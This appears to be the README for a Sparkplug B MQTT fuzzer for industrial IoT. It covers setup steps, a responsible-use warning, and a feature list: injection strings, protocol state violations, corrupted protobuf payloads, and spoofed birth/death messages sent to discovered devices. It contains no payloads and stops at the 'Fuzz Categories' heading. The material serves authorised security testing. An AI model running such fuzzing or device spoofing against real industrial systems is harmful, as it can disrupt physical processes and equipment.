Sparkplug B MQTT Security Fuzzer

A comprehensive security assessment tool for testing Sparkplug B MQTT protocol implementations. The fuzzer systematically tests all protocol fields across all 9 message types, discovers live devices on the network, and produces detailed logs for analysis.

Responsible Use

This tool sends malformed, injection, and protocol-violating MQTT messages to a target broker. Only run it against systems you own or have explicit written authorization to test. Sparkplug B brokers commonly sit in OT/ICS environments where unexpected payloads can disrupt physical processes — assume every target is production-adjacent unless proven otherwise.

If you discover a vulnerability in a Sparkplug B implementation using this tool, please follow coordinated disclosure with the affected vendor. To report a security issue in this tool itself, see SECURITY.md.

Table of Contents

• Overview
• Prerequisites
• Installation
• Quick Start
• Usage
  • Command-Line Options
  • Fuzz Categories
  • Examples
• How It Works
  • Execution Flow
  • Network Discovery
  • Authentication Assessment
  • Targeted Fuzzing
• Running the tests
• Output and Log Analysis
  • Log Format
  • Analyzing Results
• Protocol Coverage
  • Message Types
  • Data Types
  • Field Coverage
• Architecture

Overview

The Sparkplug B specification defines a topic namespace and payload format built on MQTT and Google Protocol Buffers for Industrial IoT (IIoT) environments. This fuzzer assesses the security and robustness of Sparkplug B implementations by:

• Testing all 19 metric data types with boundary values and overflow conditions
• Injecting malicious strings (XSS, SQLi, format strings, path traversal, command injection)
• Creating type mismatches between declared datatypes and actual protobuf value fields
• Violating protocol state machine ordering (data before birth, double births, data after death)
• Corrupting serialized protobuf payloads at the binary level
• Spoofing birth/death certificates for discovered network devices
• Fuzzing MQTT topic namespaces with special characters, case variations, and structural violations

Prerequisites

• Python 3.8+
• MQTT Broker — the target system under test (e.g., Mosquitto, HiveMQ, EMQX, or any Sparkplug B aware broker)
• Authorization — this tool is intended for authorized security testing only

Installation

On modern Debian/Ubuntu/Kali (PEP-668 systems), --setup cannot pip install into the system Python — use a virtual environment or pipx first. The recommended path:

python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup

Or run via pipx run if you prefer not to manage the venv yourself. On older systems without PEP-668 enforcement, plain python3 sparkplug-fuzzer.py --setup works directly.

--setup will:

1. Install pip dependencies (paho-mqtt, protobuf)
2. Clone a pinned tag of the Eclipse Tahu repository (see TAHU_REF in the script)
3. Copy sparkplug_b.py and array_packer.py helper modules
4. Compile sparkplug_b.proto into Python bindings (uses protoc if available, falls back to grpcio-tools)
5. Clean up the Tahu clone

After setup, your directory should contain:

sparkplug-fuzzer.py     # The fuzzer
sparkplug_b.py          # Sparkplug B helper module (from Tahu)
array_packer.py         # Array packing helper (from Tahu)
sparkplug_b_pb2.py      # Generated protobuf bindings
requirements.txt        # Python dependencies

pip install -r requirements.txt
git clone https://github.com/eclipse/tahu.git
cp tahu/python/core/sparkplug_b.py .
cp tahu/python/core/array_packer.py .
protoc --python_out=. sparkplug_b.proto
rm -rf tahu

Quick Start

python3 sparkplug-fuzzer.py --setup              # first-time setup
python3 sparkplug-fuzzer.py -H localhost -p 1883 -v  # run fuzzer

This will:

1. Connect to the broker at localhost:1883
2. Listen for 10 seconds to discover existing Sparkplug devices
3. Establish the fuzzer as a Sparkplug node/device
4. Run all 12 fuzz categories (~635+ test cases)
5. Target any discovered devices with spoofed messages
6. Write results to sparkplug_fuzz.jsonl

Usage

Command-Line Options

python3 sparkplug-fuzzer.py [OPTIONS]

Fuzz Categories